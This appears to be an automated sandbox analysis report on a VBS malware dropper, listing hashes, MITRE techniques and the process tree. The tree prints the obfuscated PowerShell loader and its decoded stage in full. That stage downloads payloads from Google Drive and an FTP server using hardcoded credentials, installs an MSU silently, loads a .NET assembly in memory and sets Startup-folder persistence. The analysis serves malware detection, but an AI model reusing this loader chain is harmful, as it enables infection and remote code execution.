d81847976ea210269bf3c98c5b32d40ed9daf78dbb1a9ce638ac472e501647d2

General

Target

d81847976ea210269bf3c98c5b32d40ed9daf78dbb1a9ce638ac472e501647d2.vbs
Size

682KB
MD5

0044397fe549d182b1bfd55fd76e75eb
SHA1

3fa8cc3ec14dd1fff24affc7f2c19c9c92e4b663
SHA256

d81847976ea210269bf3c98c5b32d40ed9daf78dbb1a9ce638ac472e501647d2
SHA512

60f020faa2865f8086b36f82f6550179f8b442c5455fdd594fc7bd19e5ad9fe70bd023dac62724148747518e3123cdaf3a6ec986af6862543092796b2d984089
SSDEEP

1536:9SSSSSSSSSSSSSSSSSSSSSSSx222222222222222222222222222222222222229:d1n/DSw8ccar2

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d81847976ea210269bf3c98c5b32d40ed9daf78dbb1a9ce638ac472e501647d2.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d81847976ea210269bf3c98c5b32d40ed9daf78dbb1a9ce638ac472e501647d2.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3052	powershell.exe
2704	powershell.exe
2692	powershell.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setupact.log	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	wusa.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2704	powershell.exe
2692	powershell.exe
2604	powershell.exe
3052	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 2704	2856	WScript.exe	30
PID 2856 wrote to memory of 2704	2856	WScript.exe	30
PID 2856 wrote to memory of 2704	2856	WScript.exe	30
PID 2704 wrote to memory of 2692	2704	powershell.exe	32
PID 2704 wrote to memory of 2692	2704	powershell.exe	32
PID 2704 wrote to memory of 2692	2704	powershell.exe	32
PID 2692 wrote to memory of 2604	2692	powershell.exe	33
PID 2692 wrote to memory of 2604	2692	powershell.exe	33
PID 2692 wrote to memory of 2604	2692	powershell.exe	33
PID 2604 wrote to memory of 3036	2604	powershell.exe	34
PID 2604 wrote to memory of 3036	2604	powershell.exe	34
PID 2604 wrote to memory of 3036	2604	powershell.exe	34
PID 2692 wrote to memory of 3052	2692	powershell.exe	35
PID 2692 wrote to memory of 3052	2692	powershell.exe	35
PID 2692 wrote to memory of 3052	2692	powershell.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d81847976ea210269bf3c98c5b32d40ed9daf78dbb1a9ce638ac472e501647d2.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9Ќз革DsЌз革KQЌз革gЌз革CkЌз革IЌз革Ќз革nЌз革GUЌз革dQByЌз革HQЌз革JwЌз革gЌз革CwЌз革IЌз革BlЌз革GoЌз革dwB6Ќз革GgЌз革JЌз革Ќз革gЌз革CwЌз革IЌз革Ќз革nЌз革GgЌз革dЌз革B0Ќз革HЌз革Ќз革cwЌз革6Ќз革C8Ќз革LwBrЌз革G8Ќз革bgBlЌз革HQЌз革bwB1Ќз革C0Ќз革ZQBtЌз革GEЌз革cgBrЌз革GUЌз革dЌз革BpЌз革G4Ќз革ZwЌз革uЌз革GMЌз革bwBtЌз革C8Ќз革egBzЌз革C4Ќз革dЌз革B4Ќз革HQЌз革JwЌз革gЌз革CgЌз革IЌз革BdЌз革F0Ќз革WwB0Ќз革GMЌз革ZQBqЌз革GIЌз革bwBbЌз革CЌз革Ќз革LЌз革Ќз革gЌз革GwЌз革bЌз革B1Ќз革G4Ќз革JЌз革Ќз革gЌз革CgЌз革ZQBrЌз革G8Ќз革dgBuЌз革EkЌз革LgЌз革pЌз革CЌз革Ќз革JwBJЌз革FYЌз革RgByЌз革HЌз革Ќз革JwЌз革gЌз革CgЌз革ZЌз革BvЌз革GgЌз革dЌз革BlЌз革E0Ќз革dЌз革BlЌз革EcЌз革LgЌз革pЌз革CcЌз革MQBzЌз革HMЌз革YQBsЌз革EMЌз革LgЌз革zЌз革HkЌз革cgBhЌз革HIЌз革YgBpЌз革EwЌз革cwBzЌз革GEЌз革bЌз革BDЌз革CcЌз革KЌз革BlЌз革HЌз革Ќз革eQBUЌз革HQЌз革ZQBHЌз革C4Ќз革KQЌз革gЌз革FoЌз革YwBCЌз革GMЌз革YQЌз革kЌз革CЌз革Ќз革KЌз革BkЌз革GEЌз革bwBMЌз革C4Ќз革bgBpЌз革GEЌз革bQBvЌз革EQЌз革dЌз革BuЌз革GUЌз革cgByЌз革HUЌз革QwЌз革6Ќз革DoЌз革XQBuЌз革GkЌз革YQBtЌз革G8Ќз革RЌз革BwЌз革HЌз革Ќз革QQЌз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革OwЌз革pЌз革CЌз革Ќз革KQЌз革gЌз革CcЌз革QQЌз革nЌз革CЌз革Ќз革LЌз革Ќз革gЌз革CcЌз革kyE6Ќз革JMhJwЌз革gЌз革CgЌз革ZQBjЌз革GEЌз革bЌз革BwЌз革GUЌз革UgЌз革uЌз革GcЌз革UwB6Ќз革EMЌз革QgBsЌз革CQЌз革IЌз革Ќз革oЌз革GcЌз革bgBpЌз革HIЌз革dЌз革BTЌз革DQЌз革NgBlЌз革HMЌз革YQBCЌз革G0Ќз革bwByЌз革EYЌз革OgЌз革6Ќз革F0Ќз革dЌз革ByЌз革GUЌз革dgBuЌз革G8Ќз革QwЌз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革WgBjЌз革EIЌз革YwBhЌз革CQЌз革IЌз革BdЌз革F0Ќз革WwBlЌз革HQЌз革eQBCЌз革FsЌз革OwЌз革nЌз革CUЌз革SQBoЌз革HEЌз革UgBYЌз革CUЌз革JwЌз革gЌз革D0Ќз革IЌз革BlЌз革GoЌз革dwB6Ќз革GgЌз革JЌз革Ќз革7Ќз革CkЌз革IЌз革BnЌз革FMЌз革egBDЌз革EIЌз革bЌз革Ќз革kЌз革CЌз革Ќз革KЌз革BnЌз革G4Ќз革aQByЌз革HQЌз革UwBkЌз革GEЌз革bwBsЌз革G4Ќз革dwBvЌз革EQЌз革LgB4Ќз革GoЌз革cЌз革BzЌз革CQЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革ZwBTЌз革HoЌз革QwBCЌз革GwЌз革JЌз革Ќз革7Ќз革DgЌз革RgBUЌз革FUЌз革OgЌз革6Ќз革F0Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革dЌз革B4Ќз革GUЌз革VЌз革Ќз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革eЌз革BqЌз革HЌз革Ќз革cwЌз革kЌз革DsЌз革KQB0Ќз革G4Ќз革ZQBpЌз革GwЌз革QwBiЌз革GUЌз革VwЌз革uЌз革HQЌз革ZQBOЌз革CЌз革Ќз革dЌз革BjЌз革GUЌз革agBiЌз革E8Ќз革LQB3Ќз革GUЌз革TgЌз革oЌз革CЌз革Ќз革PQЌз革gЌз革HgЌз革agBwЌз革HMЌз革JЌз革Ќз革7Ќз革CkЌз革KЌз革BlЌз革HMЌз革bwBwЌз革HMЌз革aQBkЌз革C4Ќз革eЌз革BqЌз革HЌз革Ќз革cwЌз革kЌз革DsЌз革KQЌз革gЌз革CcЌз革dЌз革B4Ќз革HQЌз革LgЌз革xЌз革DЌз革Ќз革TЌз革BMЌз革EQЌз革LwЌз革xЌз革DЌз革Ќз革LwByЌз革GUЌз革dЌз革BwЌз革HkЌз革cgBjЌз革HЌз革Ќз革VQЌз革vЌз革HIЌз革YgЌз革uЌз革G0Ќз革bwBjЌз革C4Ќз革dЌз革BhЌз革HIЌз革YgB2Ќз革GsЌз革YwBzЌз革GUЌз革ZЌз革Ќз革uЌз革HЌз革Ќз革dЌз革BmЌз革EЌз革Ќз革MQB0Ќз革GEЌз革cgBiЌз革HYЌз革awBjЌз革HMЌз革ZQBkЌз革C8Ќз革LwЌз革6Ќз革HЌз革Ќз革dЌз革BmЌз革CcЌз革IЌз革Ќз革oЌз革GcЌз革bgBpЌз革HIЌз革dЌз革BTЌз革GQЌз革YQBvЌз革GwЌз革bgB3Ќз革G8Ќз革RЌз革Ќз革uЌз革HgЌз革agBwЌз革HMЌз革JЌз革Ќз革gЌз革D0Ќз革IЌз革BnЌз革FMЌз革egBDЌз革EIЌз革bЌз革Ќз革kЌз革DsЌз革KQЌз革nЌз革EЌз革Ќз革QЌз革BwЌз革EoЌз革OЌз革Ќз革3Ќз革DUЌз革MQЌз革yЌз革G8Ќз革cgBwЌз革HIЌз革ZQBwЌз革G8Ќз革bЌз革BlЌз革HYЌз革ZQBkЌз革CcЌз革LЌз革Ќз革pЌз革CkЌз革OQЌз革0Ќз革CwЌз革NgЌз革xЌз革DEЌз革LЌз革Ќз革3Ќз革DkЌз革LЌз革Ќз革0Ќз革DEЌз革MQЌз革sЌз革DgЌз革OQЌз革sЌз革DgЌз革MQЌз革xЌз革CwЌз革NwЌз革wЌз革DEЌз革LЌз革Ќз革5Ќз革DkЌз革LЌз革Ќз革1Ќз革DEЌз革MQЌз革sЌз革DEЌз革MЌз革Ќз革xЌз革CwЌз革MЌз革Ќз革wЌз革DEЌз革KЌз革BdЌз革F0Ќз革WwByЌз革GEЌз革aЌз革BjЌз革FsЌз革IЌз革BuЌз革GkЌз革bwBqЌз革C0Ќз革KЌз革Ќз革oЌз革GwЌз革YQBpЌз革HQЌз革bgBlЌз革GQЌз革ZQByЌз革EMЌз革awByЌз革G8Ќз革dwB0Ќз革GUЌз革TgЌз革uЌз革HQЌз革ZQBOЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革IЌз革B0Ќз革GMЌз革ZQBqЌз革GIЌз革bwЌз革tЌз革HcЌз革ZQBuЌз革CЌз革Ќз革PQЌз革gЌз革HMЌз革bЌз革BhЌз革GkЌз革dЌз革BuЌз革GUЌз革ZЌз革BlЌз革HIЌз革QwЌз革uЌз革HgЌз革agBwЌз革HMЌз革JЌз革Ќз革7Ќз革DgЌз革RgBUЌз革FUЌз革OgЌз革6Ќз革F0Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革dЌз革B4Ќз革GUЌз革VЌз革Ќз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革eЌз革BqЌз革HЌз革Ќз革cwЌз革kЌз革DsЌз革KQB0Ќз革G4Ќз革ZQBpЌз革GwЌз革QwBiЌз革GUЌз革VwЌз革uЌз革HQЌз革ZQBOЌз革CЌз革Ќз革dЌз革BjЌз革GUЌз革agBiЌз革E8Ќз革LQB3Ќз革GUЌз革TgЌз革oЌз革CЌз革Ќз革PQЌз革gЌз革HgЌз革agBwЌз革HMЌз革JЌз革Ќз革7Ќз革GcЌз革UwB6Ќз革EMЌз革QgBsЌз革CQЌз革OwЌз革yЌз革DEЌз革cwBsЌз革FQЌз革OgЌз革6Ќз革F0Ќз革ZQBwЌз革HkЌз革VЌз革BsЌз革G8Ќз革YwBvЌз革HQЌз革bwByЌз革FЌз革Ќз革eQB0Ќз革GkЌз革cgB1Ќз革GMЌз革ZQBTЌз革C4Ќз革dЌз革BlЌз革E4Ќз革LgBtЌз革GUЌз革dЌз革BzЌз革HkЌз革UwBbЌз革CЌз革Ќз革PQЌз革gЌз革GwЌз革bwBjЌз革G8Ќз革dЌз革BvЌз革HIЌз革UЌз革B5Ќз革HQЌз革aQByЌз革HUЌз革YwBlЌз革FMЌз革OgЌз革6Ќз革F0Ќз革cgBlЌз革GcЌз革YQBuЌз革GEЌз革TQB0Ќз革G4Ќз革aQBvЌз革FЌз革Ќз革ZQBjЌз革GkЌз革dgByЌз革GUЌз革UwЌз革uЌз革HQЌз革ZQBOЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革WwЌз革7Ќз革H0Ќз革ZQB1Ќз革HIЌз革dЌз革Ќз革kЌз革HsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革awBjЌз革GEЌз革YgBsЌз革GwЌз革YQBDЌз革G4Ќз革bwBpЌз革HQЌз革YQBkЌз革GkЌз革bЌз革BhЌз革FYЌз革ZQB0Ќз革GEЌз革YwBpЌз革GYЌз革aQB0Ќз革HIЌз革ZQBDЌз革HIЌз革ZQB2Ќз革HIЌз革ZQBTЌз革DoЌз革OgBdЌз革HIЌз革ZQBnЌз革GEЌз革bgBhЌз革E0Ќз革dЌз革BuЌз革GkЌз革bwBQЌз革GUЌз革YwBpЌз革HYЌз革cgBlЌз革FMЌз革LgB0Ќз革GUЌз革TgЌз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革ewЌз革gЌз革GUЌз革cwBsЌз革GUЌз革fQЌз革gЌз革GYЌз革LwЌз革gЌз革DЌз革Ќз革IЌз革B0Ќз革C8Ќз革IЌз革ByЌз革C8Ќз革IЌз革BlЌз革HgЌз革ZQЌз革uЌз革G4Ќз革dwBvЌз革GQЌз革dЌз革B1Ќз革GgЌз革cwЌз革gЌз革DsЌз革JwЌз革wЌз革DgЌз革MQЌз革gЌз革HЌз革Ќз革ZQBlЌз革GwЌз革cwЌз革nЌз革CЌз革Ќз革ZЌз革BuЌз革GEЌз革bQBtЌз革G8Ќз革YwЌз革tЌз革CЌз革Ќз革ZQB4Ќз革GUЌз革LgBsЌз革GwЌз革ZQBoЌз革HMЌз革cgBlЌз革HcЌз革bwBwЌз革DsЌз革IЌз革BlЌз革GMЌз革cgBvЌз革GYЌз革LQЌз革gЌз革CkЌз革IЌз革Ќз革nЌз革HЌз革Ќз革dQB0Ќз革HIЌз革YQB0Ќз革FMЌз革XЌз革BzЌз革G0Ќз革YQByЌз革GcЌз革bwByЌз革FЌз革Ќз革XЌз革B1Ќз革G4Ќз革ZQBNЌз革CЌз革Ќз革dЌз革ByЌз革GEЌз革dЌз革BTЌз革FwЌз革cwB3Ќз革G8Ќз革ZЌз革BuЌз革GkЌз革VwBcЌз革HQЌз革ZgBvЌз革HMЌз革bwByЌз革GMЌз革aQBNЌз革FwЌз革ZwBuЌз革GkЌз革bQBhЌз革G8Ќз革UgBcЌз革GEЌз革dЌз革BhЌз革EQЌз革cЌз革BwЌз革EEЌз革XЌз革Ќз革nЌз革CЌз革Ќз革KwЌз革gЌз革EYЌз革RwByЌз革FUЌз革QQЌз革kЌз革CЌз革Ќз革KЌз革Ќз革gЌз革G4Ќз革bwBpЌз革HQЌз革YQBuЌз革GkЌз革dЌз革BzЌз革GUЌз革RЌз革Ќз革tЌз革CЌз革Ќз革JwЌз革lЌз革EkЌз革aЌз革BxЌз革FIЌз革WЌз革Ќз革lЌз革CcЌз革IЌз革BtЌз革GUЌз革dЌз革BJЌз革C0Ќз革eQBwЌз革G8Ќз革QwЌз革gЌз革DsЌз革IЌз革B0Ќз革HIЌз革YQB0Ќз革HMЌз革ZQByЌз革G8Ќз革bgЌз革vЌз革CЌз革Ќз革dЌз革BlЌз革GkЌз革dQBxЌз革C8Ќз革IЌз革BRЌз革EEЌз革agB6Ќз革EkЌз革IЌз革BlЌз革HgЌз革ZQЌз革uЌз革GEЌз革cwB1Ќз革HcЌз革IЌз革BlЌз革HgЌз革ZQЌз革uЌз革GwЌз革bЌз革BlЌз革GgЌз革cwByЌз革GUЌз革dwBvЌз革HЌз革Ќз革IЌз革Ќз革7Ќз革CkЌз革JwB1Ќз革HMЌз革bQЌз革uЌз革G4Ќз革aQB3Ќз革HЌз革Ќз革VQBcЌз革CcЌз革IЌз革Ќз革rЌз革CЌз革Ќз革ZЌз革BJЌз革FIЌз革aQBNЌз革CQЌз革KЌз革Ќз革gЌз革D0Ќз革IЌз革BRЌз革EEЌз革agB6Ќз革EkЌз革OwЌз革pЌз革CЌз革Ќз革ZQBtЌз革GEЌз革TgByЌз革GUЌз革cwBVЌз革DoЌз革OgBdЌз革HQЌз革bgBlЌз革G0Ќз革bgBvЌз革HIЌз革aQB2Ќз革G4Ќз革RQBbЌз革CЌз革Ќз革KwЌз革gЌз革CcЌз革XЌз革BzЌз革HIЌз革ZQBzЌз革FUЌз革XЌз革Ќз革6Ќз革EMЌз革JwЌз革oЌз革CЌз革Ќз革PQЌз革gЌз革EYЌз革RwByЌз革FUЌз革QQЌз革kЌз革DsЌз革KQЌз革nЌз革HUЌз革cwBtЌз革C4Ќз革bgBpЌз革HcЌз革cЌз革BVЌз革FwЌз革JwЌз革gЌз革CsЌз革IЌз革BkЌз革EkЌз革UgBpЌз革E0Ќз革JЌз革Ќз革gЌз革CwЌз革QgBLЌз革EwЌз革UgBVЌз革CQЌз革KЌз革BlЌз革GwЌз革aQBGЌз革GQЌз革YQBvЌз革GwЌз革bgB3Ќз革G8Ќз革RЌз革Ќз革uЌз革HgЌз革aЌз革BKЌз革EgЌз革eQЌз革kЌз革DsЌз革OЌз革BGЌз革FQЌз革VQЌз革6Ќз革DoЌз革XQBnЌз革G4Ќз革aQBkЌз革G8Ќз革YwBuЌз革EUЌз革LgB0Ќз革HgЌз革ZQBUЌз革C4Ќз革bQBlЌз革HQЌз革cwB5Ќз革FMЌз革WwЌз革gЌз革D0Ќз革IЌз革BnЌз革G4Ќз革aQBkЌз革G8Ќз革YwBuЌз革EUЌз革LgB4Ќз革GgЌз革SgBIЌз革HkЌз革JЌз革Ќз革7Ќз革CkЌз革dЌз革BuЌз革GUЌз革aQBsЌз革EMЌз革YgBlЌз革FcЌз革LgB0Ќз革GUЌз革TgЌз革gЌз革HQЌз革YwBlЌз革GoЌз革YgBPЌз革C0Ќз革dwBlЌз革E4Ќз革KЌз革Ќз革gЌз革D0Ќз革IЌз革B4Ќз革GgЌз革SgBIЌз革HkЌз革JЌз革Ќз革7Ќз革H0Ќз革OwЌз革gЌз革CkЌз革JwB0Ќз革E8Ќз革TЌз革BjЌз革F8Ќз革SwBhЌз革DMЌз革WgBmЌз革G8Ќз革WЌз革Ќз革yЌз革EoЌз革SgByЌз革FYЌз革aЌз革BtЌз革FYЌз革OQBjЌз革G0Ќз革OQBYЌз革HMЌз革dQBYЌз革G0Ќз革agЌз革xЌз革GcЌз革MQЌз革nЌз革CЌз革Ќз革KwЌз革gЌз革EYЌз革YQBFЌз革FkЌз革UgЌз革kЌз革CgЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革RgBhЌз革EUЌз革WQBSЌз革CQЌз革ewЌз革gЌз革GUЌз革cwBsЌз革GUЌз革fQЌз革7Ќз革CЌз革Ќз革KQЌз革nЌз革DIЌз革NЌз革B1Ќз革FgЌз革SgBUЌз革HEЌз革YQBtЌз革GcЌз革eQBNЌз革HQЌз革RgB6Ќз革GEЌз革awBQЌз革FIЌз革MQBxЌз革F8Ќз革SQB2Ќз革EcЌз革aQBYЌз革E4Ќз革ZЌз革BxЌз革GEЌз革TgЌз革xЌз革CcЌз革IЌз革Ќз革rЌз革CЌз革Ќз革RgBhЌз革EUЌз革WQBSЌз革CQЌз革KЌз革Ќз革gЌз革D0AIABGAGEARQBZAFIAJAB7ACAAKQAgAFcAaQBpAEIAcwAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcwBuAGkAYQB0AG4AbwBDAC4ARQBSAFUAVABDAEUAVABJAEgAQwBSAEEAXwBSAE8AUwBTAEUAQwBPAFIAUAA6AHYAbgBlACQAIAA9ACAAVwBpAGkAQgBzACQAOwAnAD0AZABpACYAZABhAG8AbABuAHcAbwBkAD0AdAByAG8AcAB4AGUAPwBjAHUALwBtAG8AYwAuAGUAbABnAG8AbwBnAC4AZQB2AGkAcgBkAC8ALwA6AHMAcAB0AHQAaAAnACAAPQAgAEYAYQBFAFkAUgAkADsAKQAgACcAdQBzAG0ALgBuAGkAdwBwAFUAXAAnACAAKwAgAGQASQBSAGkATQAkACAAKAAgAGwAZQBkADsAKQAoAGgAdABhAFAAcABtAGUAVAB0AGUARwA6ADoAXQBoAHQAYQBQAC4ATwBJAC4AbQBlAHQAcwB5AFMAWwAgAD0AIABkAEkAUgBpAE0AJAB7ACAAKQAgAEYAZABNAFEAVAAkACAAKAAgAGYAaQA7ACAAKQAyACgAcwBsAGEAdQBxAEUALgByAG8AagBhAE0ALgBuAG8AaQBzAHIAZQBWAC4AdABzAG8AaAAkACAAPQAgAEYAZABNAFEAVAAkACAAOwA=';$nQCfu = $qKKzc.replace('Ќз革' , 'A') ;$IedxR = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $nQCfu ) ); $IedxR = $IedxR[-1..-$IedxR.Length] -join '';$IedxR = $IedxR.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\d81847976ea210269bf3c98c5b32d40ed9daf78dbb1a9ce638ac472e501647d2.vbs');powershell $IedxR
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $TQMdF = $host.Version.Major.Equals(2) ;if ( $TQMdF ) {$MiRId = [System.IO.Path]::GetTempPath();del ( $MiRId + '\Upwin.msu' );$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yHJhx = (New-Object Net.WebClient);$yHJhx.Encoding = [System.Text.Encoding]::UTF8;$yHJhx.DownloadFile($URLKB, $MiRId + '\Upwin.msu');$AUrGF = ('C:\Users\' + [Environment]::UserName );IzjAQ = ($MiRId + '\Upwin.msu'); powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\d81847976ea210269bf3c98c5b32d40ed9daf78dbb1a9ce638ac472e501647d2.vbs' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$spjx = (New-Object Net.WebClient);$spjx.Encoding = [System.Text.Encoding]::UTF8;$spjx.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $spjx.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$spjx.dispose();$spjx = (New-Object Net.WebClient);$spjx.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $spjx.DownloadString( $lBCzSg );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\d81847976ea210269bf3c98c5b32d40ed9daf78dbb1a9ce638ac472e501647d2.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.sz/moc.gnitekrame-uotenok//:sptth' , $hzwje , 'true' ) );};"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2692
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe IzjAQ /quiet /norestart
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2604
    - - C:\Windows\system32\wusa.exe
        
        "C:\Windows\system32\wusa.exe" IzjAQ /quiet /norestart
        5⤵
        Drops file in Windows directory
        
        PID:3036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
77a345fa910343189558bba77fecacca

SHA1
ee32228dfa50b8380aeeacfbe5b227a1c900263c

SHA256
693420c8479aea40bb79bbee4b10bdc0ceff6291e8551546327629e6b1e17d2a

SHA512
589d3690237d42c8e441a59687b0b957835b0ff1455f29c2df2196baffef401c6312e30152ed2b93c3091306c82fa2ff9553b967f20ebf45a9026fe6603e6e5a

Download Submit
memory/2704-4-0x000007FEF575E000-0x000007FEF575F000-memory.dmp

Filesize
4KB

Download
memory/2704-5-0x000000001B460000-0x000000001B742000-memory.dmp

Filesize
2.9MB

Download
memory/2704-6-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2704-7-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-13-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-26-0x000007FEF54A0000-0x000007FEF5E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-27-0x000007FEF575E000-0x000007FEF575F000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing